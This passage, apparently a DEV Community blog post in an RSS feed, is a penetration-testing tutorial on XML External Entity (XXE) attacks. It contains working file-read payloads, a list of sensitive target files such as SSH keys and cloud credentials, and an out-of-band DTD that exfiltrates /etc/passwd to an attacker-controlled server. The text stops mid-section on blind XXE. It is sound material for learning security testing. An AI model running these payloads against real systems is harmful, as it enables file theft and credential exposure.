<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Atharva Baheti</title>
    <description>The latest articles on DEV Community by Atharva Baheti (@atharva_baheti).</description>
    <link>https://dev.to/atharva_baheti</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4117258%2F11e4019c-e1e5-4e48-ba2f-3554c7567010.png</url>
      <title>DEV Community: Atharva Baheti</title>
      <link>https://dev.to/atharva_baheti</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/atharva_baheti"/>
    <language>en</language>
    <item>
      <title>XXE : Finding and Exploiting XML External Entity Vulnerabilities</title>
      <dc:creator>Atharva Baheti</dc:creator>
      <pubDate>Wed, 09 Sep 2026 10:35:52 +0000</pubDate>
      <link>https://dev.to/atharva_baheti/xxe-mastery-finding-and-exploiting-xml-external-entity-vulnerabilities-4p54</link>
      <guid>https://dev.to/atharva_baheti/xxe-mastery-finding-and-exploiting-xml-external-entity-vulnerabilities-4p54</guid>
      <description>&lt;p&gt;&lt;em&gt;From understanding how XML entities work to blind out-of-band exfiltration and the hidden attack surfaces most testers never check.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;XXE is unlike almost every other vulnerability class you'll test for. There are no payloads to sneak into input fields, no quotes to break out of, no IDs to tamper with. XXE is about &lt;strong&gt;hijacking a feature that's built into the XML language itself&lt;/strong&gt; — external entities — and pointing that feature at files on the server or systems on the internal network.&lt;/p&gt;

&lt;p&gt;This guide walks through the full methodology: the mental model, the payload anatomy, how to find XXE in the wild, and the techniques — classic, blind, out-of-band, SSRF, and hidden attack surfaces — that separate a surface-level test from a thorough one.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Right Mindset for XXE Testing
&lt;/h3&gt;

&lt;p&gt;You are not injecting malicious code when you exploit XXE. You're using a &lt;strong&gt;completely valid, legitimate XML feature&lt;/strong&gt; that the parser was never told to disable. The parser does exactly what it was built to do — it just shouldn't be doing it with untrusted input.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Core mental model:&lt;/strong&gt; XML has a built-in feature that lets you define a "variable" whose value is loaded from a file or URL on the server. It was designed for legitimate content reuse. XXE happens when a server's XML parser processes your XML without disabling this feature — so you can define a variable that loads &lt;code&gt;/etc/passwd&lt;/code&gt;, reference it in your data, and get the server to hand the file back to you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What a successful XXE attack can get you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read any file the server process can access&lt;/li&gt;
&lt;li&gt;Probe internal network services (SSRF)&lt;/li&gt;
&lt;li&gt;Steal cloud credentials (AWS/Azure/GCP metadata)&lt;/li&gt;
&lt;li&gt;In rare cases, remote code execution&lt;/li&gt;
&lt;li&gt;Denial of service (the "Billion Laughs" attack)&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. XML 101 — What You Need to Know First
&lt;/h3&gt;

&lt;p&gt;You don't need to become an XML expert. You need to understand three things: tags, entities, and DTDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What XML looks like:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;5&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;quantity&amp;gt;&lt;/span&gt;2&lt;span class="nt"&gt;&amp;lt;/quantity&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;user&amp;gt;&lt;/span&gt;alice&lt;span class="nt"&gt;&amp;lt;/user&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;An "entity" is just a variable.&lt;/strong&gt; Define it once, reference it anywhere — like a shortcut key in a word processor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Internal entity — defined and used within the document --&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE order [
  &amp;lt;!ENTITY companyname "Acme Corp"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;vendor&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;companyname;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/vendor&amp;gt;&lt;/span&gt; &lt;span class="c"&gt;&amp;lt;!-- becomes "Acme Corp" --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;An "external entity" is the dangerous part.&lt;/strong&gt; Same concept, except instead of defining the value inline, you tell the parser to load it from a file path or URL, using the &lt;code&gt;SYSTEM&lt;/code&gt; keyword:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!ENTITY myvar SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the parser encounters &lt;code&gt;&amp;amp;myvar;&lt;/code&gt; in the document, it goes to the filesystem, reads &lt;code&gt;/etc/passwd&lt;/code&gt;, and substitutes the contents in place of the entity reference. That content then shows up in the application's response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A DTD (Document Type Definition)&lt;/strong&gt; is the section at the top of an XML document, inside &lt;code&gt;&amp;lt;!DOCTYPE&amp;gt;&lt;/code&gt;, where entities get declared. For XXE testing, all you need to know is: your entity declarations go inside the DOCTYPE block.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Dangerous — external entities enabled&lt;/th&gt;
&lt;th&gt;Safe — external entities disabled&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Parser sees &lt;code&gt;SYSTEM "file:///etc/passwd"&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Opens the file, reads it, substitutes the content, returns it in the response&lt;/td&gt;
&lt;td&gt;Ignores the external reference, returns empty or an error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Result&lt;/td&gt;
&lt;td&gt;You just read a server file&lt;/td&gt;
&lt;td&gt;Nothing leaked — one config line prevents it all&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  3. What XXE Actually Is — A Real-World Analogy
&lt;/h3&gt;

&lt;p&gt;Imagine a company has a form where suppliers submit orders. You fill it in with a product name and quantity, and a clerk processes it.&lt;/p&gt;

&lt;p&gt;Now imagine the form has a special "Template" field where you can reference a pre-defined item from the company's internal catalog. The clerk is trained to fetch whatever you reference and include its contents in your order.&lt;/p&gt;

&lt;p&gt;So you write in the Template field: &lt;em&gt;"fetch the contents of the HR department's salary file."&lt;/em&gt; The clerk dutifully walks to the HR cabinet, retrieves the salary file, and includes it in your paperwork — which is handed back to you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The clerk — the XML parser — just fetched a restricted internal file because you asked nicely, using the right syntax. That's XXE.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In technical terms: you send XML to a web application. Hidden inside it, you declare an external entity pointing to a server file. The parser, never told to refuse external entities, faithfully reads that file and inserts its contents into the parsed data. The application reflects that data back in its response — and you see the file contents.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Payload Anatomy — Every Line Explained
&lt;/h3&gt;

&lt;p&gt;Most people copy-paste XXE payloads without understanding them, which is exactly why they fail the moment an application looks slightly different. Here's every line broken down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/code&gt;&lt;/strong&gt; — Standard XML declaration. Always required; tells the parser this is XML.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [&lt;/code&gt;&lt;/strong&gt; — Opens the DTD block. "foo" is just a name — it can be anything. This is where your malicious entity gets declared.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/code&gt;&lt;/strong&gt; — The attack itself. You're defining a variable named &lt;code&gt;xxe&lt;/code&gt; whose value loads from &lt;code&gt;/etc/passwd&lt;/code&gt; on the server. &lt;code&gt;SYSTEM&lt;/code&gt; means "external source."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;]&amp;gt;&lt;/code&gt;&lt;/strong&gt; — Closes the DTD block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;amp;xxe;&lt;/code&gt;&lt;/strong&gt; — Where you &lt;em&gt;use&lt;/em&gt; the entity. The parser replaces it with the file's contents. Place it inside a field that gets reflected back in the response so you can actually see the output.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The critical decision — where to place &lt;code&gt;&amp;amp;xxe;&lt;/code&gt;:&lt;/strong&gt; It has to sit inside a tag whose value is reflected back in the response. If you put it somewhere that's silently processed and discarded, you'll never see the output. Test multiple fields — whichever one echoes back is your extraction channel.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  5. Finding XXE Attack Surfaces
&lt;/h3&gt;

&lt;p&gt;XXE only exists where the application parses XML. Your first job is finding every place XML enters the app — including places that don't look like XML at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Look for obvious XML in your proxy history.&lt;/strong&gt; Search request bodies for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also look for XML structure directly in the body — a &lt;code&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/code&gt; declaration or a SOAP envelope is a dead giveaway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Try converting JSON to XML.&lt;/strong&gt; This is one of the most overlooked surfaces. Some endpoints happily accept both formats.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;# Original request (JSON):
&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/stock&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"productId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"quantity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;converting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;XML:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/stock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Content-Type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;application/xml&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;?xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;version=&lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="err"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;root&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;quantity&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;/quantity&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;/root&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;response&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;matches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;JSON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;accepts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;XML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;XXE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Check file uploads that accept XML-based formats:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File format&lt;/th&gt;
&lt;th&gt;Why it's XML&lt;/th&gt;
&lt;th&gt;How to test&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.svg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SVG is XML — image upload fields that accept SVG&lt;/td&gt;
&lt;td&gt;Upload an SVG with an XXE payload inside&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.docx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Word docs are ZIP archives containing XML&lt;/td&gt;
&lt;td&gt;Unzip, inject into &lt;code&gt;word/document.xml&lt;/code&gt;, rezip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.xlsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Excel files are ZIP archives containing XML&lt;/td&gt;
&lt;td&gt;Unzip, inject into &lt;code&gt;xl/workbook.xml&lt;/code&gt;, rezip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.xml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Direct XML upload&lt;/td&gt;
&lt;td&gt;Upload your XXE payload directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.pptx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PowerPoint files are ZIP + XML&lt;/td&gt;
&lt;td&gt;Same approach as docx/xlsx&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — Confirm the parser actually processes entities&lt;/strong&gt;, using a harmless internal entity before you escalate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE test [
  &amp;lt;!ENTITY probe "HelloXXE"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;root&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;probe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/root&amp;gt;&lt;/span&gt;

# Response shows "HelloXXE" → entities are being processed → escalate to file read
# Response shows "&lt;span class="ni"&gt;&amp;amp;probe;&lt;/span&gt;" literally → entities are NOT processed → not vulnerable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  6. Classic XXE — File Read, Response Visible
&lt;/h3&gt;

&lt;p&gt;The most straightforward case: the app accepts XML, parses it, and reflects parsed values directly in the response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Intercept the request.&lt;/strong&gt; Find a request with XML in the body and send it to your testing tool of choice.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/stock/check&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/xml&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;5&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;

# Response: "Product ID 5 is in stock at store 1"
# → productId is reflected. That's your extraction channel.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Inject your payload.&lt;/strong&gt; Add a DOCTYPE block above the root element, and place &lt;code&gt;&amp;amp;xxe;&lt;/code&gt; inside the reflected field.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;POST /api/stock/check HTTP/1.1
Content-Type: application/xml

&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class="nt"&gt;&amp;lt;/storeId&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Read the response.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

# The entire /etc/passwd file replaced &amp;amp;xxe; in the error message. XXE confirmed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Try other high-value files.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Linux
file:///etc/passwd                  ← user accounts
file:///etc/shadow                  ← password hashes (if readable)
file:///etc/hostname                ← server hostname
file:///proc/version                ← kernel version
file:///proc/self/environ           ← environment variables (often secrets)
file:///var/www/html/config.php     ← DB credentials in app config
file:///home/app/.ssh/id_rsa        ← SSH private key
file:///.aws/credentials            ← AWS keys, if running on AWS

# Windows
file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config   ← IIS config, often has DB passwords
file:///C:/Users/Administrator/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; If one field doesn't reflect, try another. Put &lt;code&gt;&amp;amp;xxe;&lt;/code&gt; in &lt;code&gt;&amp;lt;storeId&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;productId&amp;gt;&lt;/code&gt; and test every field — whichever one shows up in the response is your channel.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  7. Blind XXE — Nothing Shows in the Response
&lt;/h3&gt;

&lt;p&gt;Most real-world XXE is blind. The app processes your XML but never reflects the parsed values back to you. Classic file-read XXE fails silently — so you need to make the server send data somewhere &lt;em&gt;you&lt;/em&gt; control.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The blind XXE strategy:&lt;/strong&gt; instead of pointing the entity at a file and waiting for it to appear in the response, point it at your own server. The parser makes an HTTP (or DNS) request to your URL. You watch your listener for incoming connections — the request arriving confirms the vulnerability, and you can carry data out in the URL itself.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Confirm blind XXE with an out-of-band ping.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;# Start a listener on a server you control:
python3 -m http.server 8080

# Inject a payload where the entity points to YOUR server, not a file:
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM "http://your-server.com:8080/xxe-test"&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;root&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/root&amp;gt;&lt;/span&gt;

# Watch your listener:
# "GET /xxe-test HTTP/1.1" → blind XXE confirmed. The parser reached out to you.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Exfiltrate file contents via an out-of-band DTD.&lt;/strong&gt; To actually steal file contents through blind XXE, you need an external DTD hosted on your own server, defining a chain of parameter entities that reads a file and sends it to you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;# Host this as evil.dtd on your server:

&lt;span class="cp"&gt;&amp;lt;!ENTITY % file SYSTEM "file:///etc/passwd"&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!ENTITY % eval "&amp;lt;!ENTITY &amp;amp;#x25; exfil SYSTEM 'http://your-server.com:8080/?data=%file;'&amp;gt;&lt;/span&gt;"&amp;gt;
%eval;
%exfil;

# What this does:
# 1. %file reads /etc/passwd into a variable
# 2. %eval builds a URL containing that file's content
# 3. %exfil sends an HTTP GET to your server with the file data in the URL

# Your XXE payload then just calls the external DTD:
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY % xxe SYSTEM "http://your-server.com:8080/evil.dtd"&amp;gt;&lt;/span&gt;
  %xxe;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;root&amp;gt;&amp;lt;/root&amp;gt;&lt;/span&gt;

# Watch your listener for:
# GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
#          ↑ /etc/passwd contents, right there in the URL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Watch out:&lt;/strong&gt; multi-line files like &lt;code&gt;/etc/passwd&lt;/code&gt; contain newlines that break URLs. If your data gets cut off, test against &lt;code&gt;/etc/hostname&lt;/code&gt; first (single line) to confirm the technique works, then move to Base64-encoding the payload for multi-line files, or target naturally single-line files like &lt;code&gt;/proc/version&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Parameter entities vs. regular entities:&lt;/strong&gt; blind XXE with external DTDs uses &lt;strong&gt;parameter entities&lt;/strong&gt; (prefixed with &lt;code&gt;%&lt;/code&gt;) instead of regular entities (&lt;code&gt;&amp;amp;&lt;/code&gt;), because parameter entities can reference other parameter entities inside DTD declarations — regular ones can't.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
